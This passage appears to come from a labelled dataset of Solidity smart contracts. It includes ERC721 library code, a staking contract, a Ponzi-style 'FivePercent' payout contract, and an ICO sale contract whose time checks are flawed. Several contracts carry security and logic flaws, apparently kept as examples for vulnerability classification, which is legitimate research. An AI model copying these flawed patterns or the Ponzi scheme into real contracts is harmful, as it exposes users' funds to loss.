uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableMap {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping (bytes32 => uint256) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {
map._entries.push(MapEntry({ _key: key, _value: value }));
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
map._entries[toDeleteIndex] = lastEntry;
map._indexes[lastEntry._key] = toDeleteIndex + 1;
map._entries.pop();
delete map._indexes[key];
return true;
} else {
return false;
}
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0);
return (true, map._entries[keyIndex - 1]._value);
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key");
return map._entries[keyIndex - 1]._value;
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage);
return map._entries[keyIndex - 1]._value;
}
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
pragma solidity >=0.6.0 <0.8.0;
library Strings {
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
pragma solidity >=0.6.0 <0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
string private _name;
string private _symbol;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return string(abi.encodePacked(base, tokenId.toString()));
}
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
function totalSupply() public view virtual override returns (uint256) {
return _tokenOwners.length();
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
pragma solidity 0.6.12;
contract UnicStakingERC721 is AccessControl, ERC721, IMintableCollection {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor(
string memory name,
string memory symbol,
string memory baseURI
) public ERC721(name, symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
}
function burn(uint256 tokenId) public override virtual {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"UnicStakingERC721: caller is not owner nor approved"
);
_burn(tokenId);
}
function setBaseURI(string memory baseURI) public {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),
"UnicStakingERC721: must have admin role to change baseUri"
);
_setBaseURI(baseURI);
}
function mint(address to, uint256 tokenId) public override virtual {
require(
hasRole(MINTER_ROLE, _msgSender()),
"UnicStakingERC721: must have minter role to mint"
);
_mint(to, tokenId);
}
}
pragma solidity >=0.5.0;
interface IUnicFactory {
event TokenCreated(address indexed caller, address indexed uToken);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getUToken(address uToken) external view returns (uint);
function uTokens(uint) external view returns (address);
function uTokensLength() external view returns (uint);
function createUToken(uint256 totalSupply, uint8 decimals, string calldata name, string calldata symbol, uint256 threshold, string calldata description) external returns (address);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
pragma solidity 0.6.12;
contract UnicStakingV5 is Initializable, EmergencyWithdrawable, IRewardable, PausableUpgradeable {
using SafeMath for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
struct StakerInfo {
uint256 nftId;
uint256 amount;
uint256 stakeStartTime;
uint256 lockDays;
uint256 rewardDebt;
address rewardToken;
uint16 multiplier;
}
struct LockMultiplier {
uint16 multiplier;
bool exists;
}
struct RewardPool {
IERC20Upgradeable rewardToken;
uint256 stakedAmount;
uint256 stakedAmountWithMultipliers;
uint256 totalRewardAmount;
uint256 accRewardPerShare;
uint256 lastRewardAmount;
}
IERC20Upgradeable private stakingToken;
IMintableCollection private nftCollection;
uint256 public minStakeAmount;
uint256 private nftStartId;
mapping(uint256 => StakerInfo) public stakes;
mapping(address => RewardPool) public pools;
mapping(uint256 => LockMultiplier) public lockMultipliers;
uint256 private constant DIV_PRECISION = 1e18;
event AddRewards(address indexed rewardToken, uint256 amount);
event Staked(
address indexed account,
address indexed rewardToken,
uint256 nftId,
uint256 amount,
uint256 lockDays
);
event Harvest(address indexed staker, address indexed rewardToken, uint256 nftId, uint256 amount);
event Withdraw(address indexed staker, address indexed rewardToken, uint256 nftId, uint256 amount);
event LogUpdateRewards(address indexed rewardToken, uint256 totalRewards, uint256 accRewardPerShare);
modifier poolExists(address rewardToken) {
require(address(pools[rewardToken].rewardToken) != address(0), "UnicStaking: Pool does not exist");
_;
}
modifier poolNotExists(address rewardToken) {
require(address(pools[rewardToken].rewardToken) == address(0), "UnicStaking: Pool does already exist");
_;
}
IUnicFactory private factory;
function initialize(
IERC20Upgradeable _stakingToken,
IMintableCollection _nftCollection,
uint256 _nftStartId,
uint256 _minStakeAmount
) public initializer {
__Ownable_init();
stakingToken = _stakingToken;
nftCollection = _nftCollection;
nftStartId = _nftStartId;
minStakeAmount = _minStakeAmount;
}
function setUnicFactory(IUnicFactory _factory) external onlyOwner {
factory = _factory;
}
function setLockMultiplier(uint256 lockDays, uint16 multiplier) external onlyOwner {
require(multiplier >= 100, "Minimum multiplier = 100");
lockMultipliers[lockDays] = LockMultiplier({
multiplier: multiplier,
exists: true
});
}
function deleteLockMultiplier(uint256 lockDays) external onlyOwner {
delete lockMultipliers[lockDays];
}
function setMinStakeAmount(uint256 _minStakeAmount) external onlyOwner {
minStakeAmount = _minStakeAmount;
}
function setNftStartId(uint256 _nftStartId) external onlyOwner {
nftStartId = _nftStartId;
}
function stake(uint256 amount, uint256 lockDays, address rewardToken)
external
whenNotPaused
poolExists(rewardToken)
{
require(
amount >= minStakeAmount,
"UnicStaking: Amount must be greater than or equal to min stake amount"
);
require(
lockMultipliers[lockDays].exists,
"UnicStaking: Invalid number of lock days specified"
);
updateRewards(rewardToken);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
StakerInfo storage staker = stakes[nftStartId];
staker.stakeStartTime = block.timestamp;
staker.amount = amount;
staker.lockDays = lockDays;
staker.multiplier = lockMultipliers[lockDays].multiplier;
staker.nftId = nftStartId;
staker.rewardToken = rewardToken;
RewardPool storage pool = pools[rewardToken];
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
staker.rewardDebt = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
pool.stakedAmount = pool.stakedAmount.add(amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.add(virtualAmount);
nftStartId = nftStartId.add(1);
nftCollection.mint(msg.sender, nftStartId - 1);
emit Staked(msg.sender, rewardToken, nftStartId - 1, amount, lockDays);
}
function withdraw(uint256 nftId) external whenNotPaused {
StakerInfo storage staker = stakes[nftId];
require(address(staker.rewardToken) != address(0), "UnicStaking: No staker exists");
require(
nftCollection.ownerOf(nftId) == msg.sender,
"UnicStaking: Only the owner may withdraw"
);
require(
(staker.stakeStartTime.add(staker.lockDays)) < block.timestamp,
"UnicStaking: Lock time not expired"
);
updateRewards(staker.rewardToken);
RewardPool storage pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
nftCollection.burn(nftId);
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
uint256 accumulated = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward = accumulated.sub(staker.rewardDebt);
pool.stakedAmount = pool.stakedAmount.sub(staker.amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.sub(virtualAmount);
uint256 staked = staker.amount;
staker.rewardDebt = 0;
staker.amount = 0;
staker.stakeStartTime = 0;
staker.lockDays = 0;
staker.nftId = 0;
staker.rewardToken = address(0);
stakingToken.safeTransfer(msg.sender, reward.add(staked));
emit Harvest(msg.sender, address(staker.rewardToken), nftId, reward);
emit Withdraw(msg.sender, address(staker.rewardToken), nftId, staked);
}
function updateRewards(address rewardToken) private poolExists(rewardToken) {
RewardPool storage pool = pools[rewardToken];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
if (pool.totalRewardAmount > pool.lastRewardAmount) {
if (pool.stakedAmountWithMultipliers > 0) {
uint256 reward = pool.totalRewardAmount.sub(pool.lastRewardAmount);
pool.accRewardPerShare = pool.accRewardPerShare.add(reward.mul(DIV_PRECISION).div(pool.stakedAmountWithMultipliers));
}
pool.lastRewardAmount = pool.totalRewardAmount;
emit LogUpdateRewards(rewardToken, pool.lastRewardAmount, pool.accRewardPerShare);
}
}
function createPool(address rewardToken) external poolNotExists(rewardToken) {
require(
rewardToken == 0x94E0BAb2F6Ab1F19F4750E42d7349f2740513aD5 ||
rewardToken == 0x3d9233F15BB93C78a4f07B5C5F7A018630217cB3 ||
factory.getUToken(rewardToken) > 0,
"UnicStakingV2: rewardToken must be UNIC or uToken"
);
RewardPool memory pool = RewardPool({
rewardToken: IERC20Upgradeable(rewardToken),
stakedAmount: 0,
stakedAmountWithMultipliers: 0,
totalRewardAmount: 0,
accRewardPerShare: 0,
lastRewardAmount: 0
});
pools[rewardToken] = pool;
}
function addRewards(address rewardToken, uint256 amount) override external poolExists(rewardToken) {
require(amount > 0, "UnicStaking: Amount must be greater than zero");
IERC20Upgradeable(rewardToken).safeTransferFrom(msg.sender, address(this), amount);
RewardPool storage pool = pools[rewardToken];
pool.totalRewardAmount = pool.totalRewardAmount.add(amount);
emit AddRewards(rewardToken, amount);
}
function harvest(uint256 nftId) external whenNotPaused {
StakerInfo storage staker = stakes[nftId];
require(staker.nftId > 0, "UnicStaking: No staker exists");
require(
nftCollection.ownerOf(nftId) == msg.sender,
"UnicStaking: Only the owner may harvest"
);
updateRewards(address(staker.rewardToken));
RewardPool memory pool = pools[address(staker.rewardToken)];
uint256 accumulated = virtualAmount(staker.amount, staker.multiplier).mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward;
if (accumulated > staker.rewardDebt) {
reward = accumulated.sub(staker.rewardDebt);
}
staker.rewardDebt = accumulated;
pool.rewardToken.safeTransfer(msg.sender, reward);
emit Harvest(msg.sender, address(staker.rewardToken), nftId, reward);
}
function pendingReward(uint256 nftId) external view returns (uint256) {
StakerInfo memory staker = stakes[nftId];
require(staker.nftId > 0, "StakingPool: No staker exists");
RewardPool memory pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
uint256 accRewardPerShare = pool.accRewardPerShare;
if (pool.totalRewardAmount > pool.lastRewardAmount) {
if (pool.stakedAmountWithMultipliers > 0) {
uint256 reward = pool.totalRewardAmount.sub(pool.lastRewardAmount);
accRewardPerShare = pool.accRewardPerShare.add(reward.mul(DIV_PRECISION).div(pool.stakedAmountWithMultipliers));
}
}
uint256 accumulated = virtualAmount(staker.amount, staker.multiplier).mul(accRewardPerShare).div(DIV_PRECISION);
if (staker.rewardDebt > accumulated) {
return 0;
}
return accumulated.sub(staker.rewardDebt);
}
function virtualAmount(uint256 amount, uint256 multiplier) private view returns (uint256) {
return amount.mul(multiplier.mul(DIV_PRECISION).div(100)).div(DIV_PRECISION);
}
function getStakeWithMultiplier(uint256 nftId) external view returns (uint256 stakeWithMultiplier){
StakerInfo memory staker = stakes[nftId];
stakeWithMultiplier = virtualAmount(staker.amount, staker.multiplier);
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function getStakingToken() external view returns (address) {
return address(stakingToken);
}
function setStakingToken(IERC20Upgradeable _stakingToken) external onlyOwner {
stakingToken = _stakingToken;
}
function emergencyWithdrawStakes(uint256 nftId, address receiver, IERC20Upgradeable _stakingToken) external onlyOwner {
StakerInfo storage staker = stakes[nftId];
require(staker.nftId > 0, "UnicStaking: No staker exists");
updateRewards(staker.rewardToken);
RewardPool storage pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
uint256 accumulated = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward = accumulated.sub(staker.rewardDebt);
pool.stakedAmount = pool.stakedAmount.sub(staker.amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.sub(virtualAmount);
uint256 staked = staker.amount;
staker.rewardDebt = 0;
staker.amount = 0;
staker.stakeStartTime = 0;
staker.lockDays = 0;
staker.nftId = 0;
staker.rewardToken = address(0);
_stakingToken.safeTransfer(receiver, reward.add(staked));
emit Harvest(receiver, address(staker.rewardToken), nftId, reward);
emit Withdraw(receiver, address(staker.rewardToken), nftId, staked);
}
} | 0 | 332 |
contract FivePercent
{
struct Participant
{
address etherAddress;
uint amount;
}
Participant[] private participants;
uint private payoutIdx = 0;
uint private balance = 0;
uint private factor =105;
function()
{
init();
}
function init() private
{
if (msg.value < 10 finney)
{
msg.sender.send(msg.value);
return;
}
uint amount;
if (msg.value > 10 ether)
{
msg.sender.send(msg.value - 10 ether);
amount = 10 ether;
}
else
{
amount = msg.value;
}
uint idx = participants.length;
participants.length += 1;
participants[idx].etherAddress = msg.sender;
participants[idx].amount = amount ;
balance += amount ;
while (balance > factor*participants[payoutIdx].amount / 100 )
{
uint transactionAmount = factor* participants[payoutIdx].amount / 100;
participants[payoutIdx].etherAddress.send(transactionAmount);
balance -= transactionAmount;
payoutIdx += 1;
}
}
function Infos() constant returns (uint BalanceInFinney, uint Participants, uint PayOutIndex,uint NextPayout, string info)
{
BalanceInFinney = balance / 1 finney;
PayOutIndex=payoutIdx;
Participants=participants.length;
NextPayout =factor*participants[payoutIdx].amount / 1 finney;
NextPayout=NextPayout /100;
info = 'All amounts in Finney (1 Ether = 1000 Finney)';
}
function participantDetails(uint nr) constant returns (address Address, uint PayinInFinney, uint PayoutInFinney, string PaidOut)
{
PaidOut='N.A.';
Address=0;
PayinInFinney=0;
PayoutInFinney=0;
if (nr < participants.length) {
Address = participants[nr].etherAddress;
PayinInFinney = participants[nr].amount / 1 finney;
PayoutInFinney= factor*PayinInFinney/100;
PaidOut='no';
if (nr<payoutIdx){PaidOut='yes';}
}
}
} | 0 | 1,918 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20 {
function transfer(address _beneficiary, uint256 _tokenAmount) external returns (bool);
function transferFromICO(address _to, uint256 _value) external returns(bool);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MainSale is Ownable {
using SafeMath for uint;
ERC20 public token;
address reserve = 0x611200beabeac749071b30db84d17ec205654463;
address promouters = 0x2632d043ac8bbbad07c7dabd326ade3ca4f6b53e;
address bounty = 0xff5a1984fade92bfb0e5fd7986186d432545b834;
uint256 public constant decimals = 18;
uint256 constant dec = 10**decimals;
mapping(address=>bool) whitelist;
uint256 public startCloseSale = now;
uint256 public endCloseSale = 1532987999;
uint256 public startStage1 = 1532988001;
uint256 public endStage1 = 1533074399;
uint256 public startStage2 = 1533074400;
uint256 public endStage2 = 1533679199;
uint256 public startStage3 = 1533679200;
uint256 public endStage3 = 1535752799;
uint256 public buyPrice = 920000000000000000;
uint256 public ethUSD;
uint256 public weisRaised = 0;
string public stageNow = "NoSale";
event Authorized(address wlCandidate, uint timestamp);
event Revoked(address wlCandidate, uint timestamp);
constructor() public {}
function setToken (ERC20 _token) public onlyOwner {
token = _token;
}
function authorize(address wlCandidate) public onlyOwner {
require(wlCandidate != address(0x0));
require(!isWhitelisted(wlCandidate));
whitelist[wlCandidate] = true;
emit Authorized(wlCandidate, now);
}
function revoke(address wlCandidate) public onlyOwner {
whitelist[wlCandidate] = false;
emit Revoked(wlCandidate, now);
}
function isWhitelisted(address wlCandidate) public view returns(bool) {
return whitelist[wlCandidate];
}
function setStartCloseSale(uint256 newStartSale) public onlyOwner {
startCloseSale = newStartSale;
}
function setEndCloseSale(uint256 newEndSale) public onlyOwner{
endCloseSale = newEndSale;
}
function setStartStage1(uint256 newsetStage2) public onlyOwner{
startStage1 = newsetStage2;
}
function setEndStage1(uint256 newsetStage3) public onlyOwner{
endStage1 = newsetStage3;
}
function setStartStage2(uint256 newsetStage4) public onlyOwner{
startStage2 = newsetStage4;
}
function setEndStage2(uint256 newsetStage5) public onlyOwner{
endStage2 = newsetStage5;
}
function setStartStage3(uint256 newsetStage5) public onlyOwner{
startStage3 = newsetStage5;
}
function setEndStage3(uint256 newsetStage5) public onlyOwner{
endStage3 = newsetStage5;
}
function setPrices(uint256 newPrice) public onlyOwner {
buyPrice = newPrice;
}
function setETHUSD(uint256 _ethUSD) public onlyOwner {
ethUSD = _ethUSD;
}
function () public payable {
require(msg.value >= (1*1e18/ethUSD*100));
if (now >= startCloseSale || now <= endCloseSale) {
require(isWhitelisted(msg.sender));
closeSale(msg.sender, msg.value);
stageNow = "Close Sale for Whitelist's members";
} else if (now >= startStage1 || now <= endStage1) {
sale1(msg.sender, msg.value);
stageNow = "Stage 1";
} else if (now >= startStage2 || now <= endStage2) {
sale2(msg.sender, msg.value);
stageNow = "Stage 2";
} else if (now >= startStage3 || now <= endStage3) {
sale3(msg.sender, msg.value);
stageNow = "Stage 3";
} else {
stageNow = "No Sale";
revert();
}
}
function closeSale(address _investor, uint256 _value) internal {
uint256 tokens = _value.mul(1e18).div(buyPrice);
uint256 bonusTokens = tokens.mul(30).div(100);
tokens = tokens.add(bonusTokens);
token.transferFromICO(_investor, tokens);
weisRaised = weisRaised.add(msg.value);
uint256 tokensReserve = tokens.mul(15).div(68);
token.transferFromICO(reserve, tokensReserve);
uint256 tokensBoynty = tokens.div(34);
token.transferFromICO(bounty, tokensBoynty);
uint256 tokensPromo = tokens.mul(15).div(68);
token.transferFromICO(promouters, tokensPromo);
}
function sale1(address _investor, uint256 _value) internal {
uint256 tokens = _value.mul(1e18).div(buyPrice);
uint256 bonusTokens = tokens.mul(10).div(100);
tokens = tokens.add(bonusTokens);
token.transferFromICO(_investor, tokens);
uint256 tokensReserve = tokens.mul(5).div(22);
token.transferFromICO(reserve, tokensReserve);
uint256 tokensBoynty = tokens.mul(2).div(33);
token.transferFromICO(bounty, tokensBoynty);
uint256 tokensPromo = tokens.mul(5).div(22);
token.transferFromICO(promouters, tokensPromo);
weisRaised = weisRaised.add(msg.value);
}
function sale2(address _investor, uint256 _value) internal {
uint256 tokens = _value.mul(1e18).div(buyPrice);
uint256 bonusTokens = tokens.mul(5).div(100);
tokens = tokens.add(bonusTokens);
token.transferFromICO(_investor, tokens);
uint256 tokensReserve = tokens.mul(15).div(64);
token.transferFromICO(reserve, tokensReserve);
uint256 tokensBoynty = tokens.mul(3).div(32);
token.transferFromICO(bounty, tokensBoynty);
uint256 tokensPromo = tokens.mul(15).div(64);
token.transferFromICO(promouters, tokensPromo);
weisRaised = weisRaised.add(msg.value);
}
function sale3(address _investor, uint256 _value) internal {
uint256 tokens = _value.mul(1e18).div(buyPrice);
token.transferFromICO(_investor, tokens);
uint256 tokensReserve = tokens.mul(15).div(62);
token.transferFromICO(reserve, tokensReserve);
uint256 tokensBoynty = tokens.mul(4).div(31);
token.transferFromICO(bounty, tokensBoynty);
uint256 tokensPromo = tokens.mul(15).div(62);
token.transferFromICO(promouters, tokensPromo);
weisRaised = weisRaised.add(msg.value);
}
function transferEthFromContract(address _to, uint256 amount) public onlyOwner {
_to.transfer(amount);
}
} | 1 | 2,887 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
